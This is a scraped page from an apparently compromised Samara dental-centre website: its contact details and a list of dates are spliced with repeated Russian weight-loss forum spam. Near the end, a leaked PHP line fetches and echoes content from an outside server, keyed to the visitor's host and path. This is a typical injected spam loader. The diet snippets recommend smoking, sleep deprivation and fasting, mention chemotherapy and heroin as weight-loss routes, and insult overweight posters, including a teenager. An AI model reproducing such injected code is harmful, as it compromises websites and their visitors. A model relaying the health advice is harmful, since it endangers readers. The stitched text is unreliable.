Очень хорошая диета КРЕМЛЕВСКАЯ! ограничений мало-эффект на лицо!

Бегать надо))

>не есть до 12 и после 6....и только овощи
да и сама будешь овощем

Разгрузочный день на гречке и кефире минус - 2 кг, плюс - хорошее настроение 26.Форум по теме 9 . Если голодать 5-7 дней, на сколько можно похудеть? 250.

Комп, сигареты и спать по ночам 3-4 часа и так хотя бы недельку две! Результат на лицо! См. моё фото...

Есть только сырые овощи и не жирные молочные продкты. сладкое запрещено. 2 недели хватит если хотите похудеть 2-3кг. вес не возвращается

  • Диет сестра в одессе найти работу в дет сад в одессе - Не могу похудеть помогите. советом или упреком. очень нужна мотивация Ты так и умрешь жирной коровой. у меня все. Ваканс
  • Мужская майка для похудения - Очень нужна ваша помощь.Мне 15 лет, страдаю от лишнего веса. рост 163, вес 70 А мне что сделать мне 17 лет вешу 49кг рос
  • Диета для диабетика на инсулине - Кто знает, почему диета Дюкана противопоказана диабетикам? Даже если диабет II типа(без уколов инсулина) А это точная ин
  • Кофейно-Табачная диета - Кто набрал вес после того как бросил курить?поделитесь Килограмм 15 за пару месяцев прибавил) ) Сам аж немного в шоке бы
  • Корень морозника для похудения - Морозник кавказский, скажите, чем опасен, какие последствие, от чего лечит и чем колечи, и как его принимать?? Вообще то
  • Диета белый виноград - Поела белого винограда. Что теперь? конец диете? Да ладно че там Виноградная диета рассчитана на четыре дня.100 г белого
  • Похудеть быстро поможет - Что реально помогает похудеть? Я обчно скидываю вес и поддерживаю его только методом исключение сладкого, мучного, жирно
  • Корни лопуха для похудения - Специальные таблетки для подавления апетита чем опасны для здоровья? есть им замена? Перловка Корень лопуха. Как часто л
  • Скипофит для похудения где купить - Кто пробовал ягоды годжи? От них реально худеют? Или это выдумки? Развод на деньги. Отзывы посетителей и специалистов о
  • Быстро похудеть после - Как быстро похудеть после родов при гв Как быстро похудеть после родов? Химиотерапия, героин Как можно похудеть после ро
  • Диет сестра в одессе найти работу в дет сад в одессе - Не могу похудеть помогите. советом или упреком. очень нужна мотивация Ты так и умрешь жирной коровой. у меня все. Ваканс
  • Мужская майка для похудения - Очень нужна ваша помощь.Мне 15 лет, страдаю от лишнего веса. рост 163, вес 70 А мне что сделать мне 17 лет вешу 49кг рос
  • Диета для диабетика на инсулине - Кто знает, почему диета Дюкана противопоказана диабетикам? Даже если диабет II типа(без уколов инсулина) А это точная ин
  • Кофейно-Табачная диета - Кто набрал вес после того как бросил курить?поделитесь Килограмм 15 за пару месяцев прибавил) ) Сам аж немного в шоке бы
  • Корень морозника для похудения - Морозник кавказский, скажите, чем опасен, какие последствие, от чего лечит и чем колечи, и как его принимать?? Вообще то
  • Диета белый виноград - Поела белого винограда. Что теперь? конец диете? Да ладно че там Виноградная диета рассчитана на четыре дня.100 г белого
  • Похудеть быстро поможет - Что реально помогает похудеть? Я обчно скидываю вес и поддерживаю его только методом исключение сладкого, мучного, жирно
  • Корни лопуха для похудения - Специальные таблетки для подавления апетита чем опасны для здоровья? есть им замена? Перловка Корень лопуха. Как часто л
  • Скипофит для похудения где купить - Кто пробовал ягоды годжи? От них реально худеют? Или это выдумки? Развод на деньги. Отзывы посетителей и специалистов о
  • Быстро похудеть после - Как быстро похудеть после родов при гв Как быстро похудеть после родов? Химиотерапия, героин Как можно похудеть после ро
За сколько дней можно похудеть на 3 кг. на кефире
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта